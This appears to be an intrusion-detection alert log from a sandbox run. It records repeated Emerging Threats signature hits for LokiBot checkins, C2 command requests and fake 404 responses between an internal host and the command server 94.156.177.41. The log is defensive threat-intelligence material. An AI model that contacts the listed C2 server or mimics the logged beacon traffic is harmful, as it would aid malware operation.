2024-11-20T11:08:36.527085+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49185	TCP
2024-11-20T11:08:36.666299+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:36.666299+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:36.666299+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.408604+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.408604+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.416957+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49186	TCP
2024-11-20T11:08:37.600393+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:37.600393+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:37.600393+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.490185+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.490185+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.495121+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49187	TCP
2024-11-20T11:08:38.858062+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:38.858062+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:38.858062+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.675088+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.675088+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.680093+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49188	TCP
2024-11-20T11:08:39.816478+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:39.816478+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:39.816478+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.550409+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.550409+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.555349+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49189	TCP
2024-11-20T11:08:40.691052+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:40.691052+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:40.691052+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.450674+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.450674+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.459392+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49190	TCP
2024-11-20T11:08:41.600005+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:41.600005+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:41.600005+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.331130+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.331130+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.336116+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49191	TCP
2024-11-20T11:08:42.470301+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:42.470301+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:42.470301+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.375730+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.375730+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.380664+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49192	TCP
2024-11-20T11:08:43.523104+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:43.523104+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:43.523104+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.416987+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.416987+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.421860+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49193	TCP
2024-11-20T11:08:44.560565+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:44.560565+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:44.560565+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.294525+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.294525+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.302895+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49194	TCP
2024-11-20T11:08:45.440851+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:45.440851+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:45.440851+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.174557+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.174557+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.182741+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49195	TCP
2024-11-20T11:08:46.326513+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:46.326513+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:46.326513+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.202696+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.202696+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.207849+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49196	TCP
2024-11-20T11:08:47.362901+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:47.362901+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:47.362901+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.276840+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.276840+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.285688+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49197	TCP
2024-11-20T11:08:48.429055+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:48.429055+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:48.429055+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.168632+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.168632+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.173575+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49198	TCP
2024-11-20T11:08:49.331075+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:49.331075+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:49.331075+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.089336+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.089336+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.099688+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49199	TCP
2024-11-20T11:08:50.269289+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:50.269289+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:50.269289+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.147665+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.147665+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.152685+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49200	TCP
2024-11-20T11:08:51.465535+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:51.465535+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:51.465535+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.239529+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.239529+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.244531+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49201	TCP
2024-11-20T11:08:52.406148+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:52.406148+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:52.406148+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.295076+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.295076+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.300040+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49202	TCP
2024-11-20T11:08:53.449322+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:53.449322+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:53.449322+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.189409+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.189409+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.194268+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49203	TCP
2024-11-20T11:08:54.344079+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:54.344079+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:54.344079+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.078799+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.078799+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.085830+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49204	TCP
2024-11-20T11:08:55.469398+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:55.469398+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:55.469398+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.212274+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.212274+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.219924+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49205	TCP
2024-11-20T11:08:56.364430+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:56.364430+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:56.364430+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.089307+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.089307+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.094558+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49206	TCP
2024-11-20T11:08:57.229777+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:57.229777+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:57.229777+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:57.994867+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:57.994867+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:58.002455+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49207	TCP
2024-11-20T11:08:58.136926+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:58.136926+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:58.136926+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.024610+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.024610+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.032141+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49208	TCP
2024-11-20T11:08:59.170582+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:08:59.170582+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:08:59.170582+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.048816+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.048816+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.055343+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49209	TCP
2024-11-20T11:09:00.196735+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:00.196735+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:00.196735+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:00.930538+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:00.930538+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:00.935498+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49210	TCP
2024-11-20T11:09:01.097365+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.097365+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.097365+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.830392+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.830392+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.835581+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49211	TCP
2024-11-20T11:09:01.972570+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:01.972570+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:01.972570+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.711590+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.711590+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.716563+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49212	TCP
2024-11-20T11:09:02.864900+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:02.864900+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:02.864900+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.597153+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.597153+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.602441+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49213	TCP
2024-11-20T11:09:03.749038+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:03.749038+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:03.749038+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.474795+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.474795+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.479679+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49214	TCP
2024-11-20T11:09:04.621438+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:04.621438+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:04.621438+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.407507+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.407507+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.416646+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49215	TCP
2024-11-20T11:09:05.555632+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:05.555632+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:05.555632+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.303457+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.303457+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.310839+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49216	TCP
2024-11-20T11:09:06.505715+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:06.505715+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:06.505715+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.233860+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.233860+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.240286+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49217	TCP
2024-11-20T11:09:07.388227+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:07.388227+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:07.388227+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.137816+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.137816+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.145630+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49218	TCP
2024-11-20T11:09:08.631914+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:08.631914+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:08.631914+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:09.364690+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49219	94.156.177.41	80	TCP
